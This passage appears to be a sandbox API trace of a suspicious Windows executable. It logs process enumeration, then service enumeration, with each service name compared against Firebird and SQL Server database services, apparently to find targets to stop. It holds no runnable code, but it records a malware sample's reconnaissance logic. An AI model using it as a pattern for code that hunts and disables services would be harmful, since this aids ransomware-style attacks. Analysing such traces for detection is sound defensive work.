[0192.280] lstrlenW (lpString="winlogon.exe") returned 12 [0192.280] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.281] lstrlenW (lpString="services.exe") returned 12 [0192.281] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.282] lstrlenW (lpString="lsass.exe") returned 9 [0192.282] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0192.282] lstrlenW (lpString="lsm.exe") returned 7 [0192.282] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.283] lstrlenW (lpString="svchost.exe") returned 11 [0192.283] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.284] lstrlenW (lpString="svchost.exe") returned 11 [0192.284] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.285] lstrlenW (lpString="svchost.exe") returned 11 [0192.285] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.285] lstrlenW (lpString="svchost.exe") returned 11 [0192.285] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.286] lstrlenW (lpString="svchost.exe") returned 11 [0192.286] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.287] lstrlenW (lpString="audiodg.exe") returned 11 [0192.287] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.288] lstrlenW (lpString="svchost.exe") returned 11 [0192.288] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.288] lstrlenW (lpString="svchost.exe") returned 11 [0192.288] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.289] lstrlenW (lpString="dwm.exe") returned 7 [0192.289] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.290] lstrlenW (lpString="explorer.exe") returned 12 [0192.290] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.291] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.291] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.299] lstrlenW (lpString="taskhost.exe") returned 12 [0192.299] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.300] lstrlenW (lpString="svchost.exe") returned 11 [0192.300] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0192.300] lstrlenW (lpString="taskeng.exe") returned 11 [0192.300] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.301] lstrlenW (lpString="taskhost.exe") returned 12 [0192.301] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0192.303] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0192.304] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0192.304] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0192.304] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0192.305] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0192.305] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0192.306] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0192.306] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0192.306] lstrlenW (lpString="always_winds.exe") returned 16 [0192.307] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0192.307] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0192.307] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0192.308] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0192.308] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0192.309] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0192.309] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0192.309] lstrlenW (lpString="alienwed.exe") returned 12 [0192.309] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0192.310] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0192.310] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0192.311] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0192.311] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0192.312] lstrlenW (lpString="mp beginners.exe") returned 16 [0192.312] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0192.352] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0192.352] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0192.352] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0192.353] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0192.353] lstrlenW (lpString="harassment.exe") returned 14 [0192.353] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0192.354] lstrlenW (lpString="francis-communication.exe") returned 25 [0192.354] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0192.354] lstrlenW (lpString="gccinformational.exe") returned 20 [0192.354] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0192.355] lstrlenW (lpString="diploma.exe") returned 11 [0192.355] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0192.355] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0192.355] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.356] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.356] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.357] lstrlenW (lpString="svchost.exe") returned 11 [0192.357] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0192.358] lstrlenW (lpString="sppsvc.exe") returned 10 [0192.358] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.358] lstrlenW (lpString="svchost.exe") returned 11 [0192.358] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.359] lstrlenW (lpString="dllhost.exe") returned 11 [0192.359] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.359] lstrlenW (lpString="dllhost.exe") returned 11 [0192.359] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0192.360] lstrlenW (lpString="qnuriy.exe") returned 10 [0192.360] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.360] lstrlenW (lpString="cmd.exe") returned 7 [0192.360] Process32NextW (in: hSnapshot=0x118, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0192.361] CloseHandle (hObject=0x118) returned 1 [0192.361] Sleep (dwMilliseconds=0x1f4) [0195.112] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x56fbd8 [0195.112] EnumServicesStatusExW (in: hSCManager=0x56fbd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0195.112] GetLastError () returned 0xea [0195.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x5e5bd0 [0195.112] EnumServicesStatusExW (in: hSCManager=0x56fbd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e5bd0, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e5bd0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0195.113] CloseServiceHandle (hSCObject=0x56fbd8) returned 1 [0195.113] lstrlenW (lpString="Appinfo") returned 7 [0195.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.113] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.113] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.113] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.114] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.114] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.114] lstrlenW (lpString="AudioSrv") returned 8 [0195.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0195.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0195.114] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0195.114] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0195.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0195.114] lstrlenW (lpString="BFE") returned 3 [0195.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.114] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.114] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.114] lstrlenW (lpString="CryptSvc") returned 8 [0195.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.114] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.115] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.115] lstrlenW (lpString="CscService") returned 10 [0195.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0195.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0195.115] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0195.115] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0195.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0195.115] lstrlenW (lpString="DcomLaunch") returned 10 [0195.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.115] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.115] lstrlenW (lpString="Dhcp") returned 4 [0195.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.115] lstrlenW (lpString="Dnscache") returned 8 [0195.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.116] lstrlenW (lpString="DPS") returned 3 [0195.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.116] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.116] lstrlenW (lpString="eventlog") returned 8 [0195.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0195.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0195.116] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0195.116] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0195.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0195.116] lstrlenW (lpString="EventSystem") returned 11 [0195.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.116] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.116] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.116] lstrlenW (lpString="FontCache") returned 9 [0195.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0195.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0195.116] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0195.116] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0195.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0195.117] lstrlenW (lpString="gpsvc") returned 5 [0195.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.117] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.117] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.117] lstrlenW (lpString="iphlpsvc") returned 8 [0195.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.117] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.117] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.117] lstrlenW (lpString="LanmanServer") returned 12 [0195.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.117] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.117] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.117] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.117] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.117] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.117] lstrlenW (lpString="lmhosts") returned 7 [0195.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 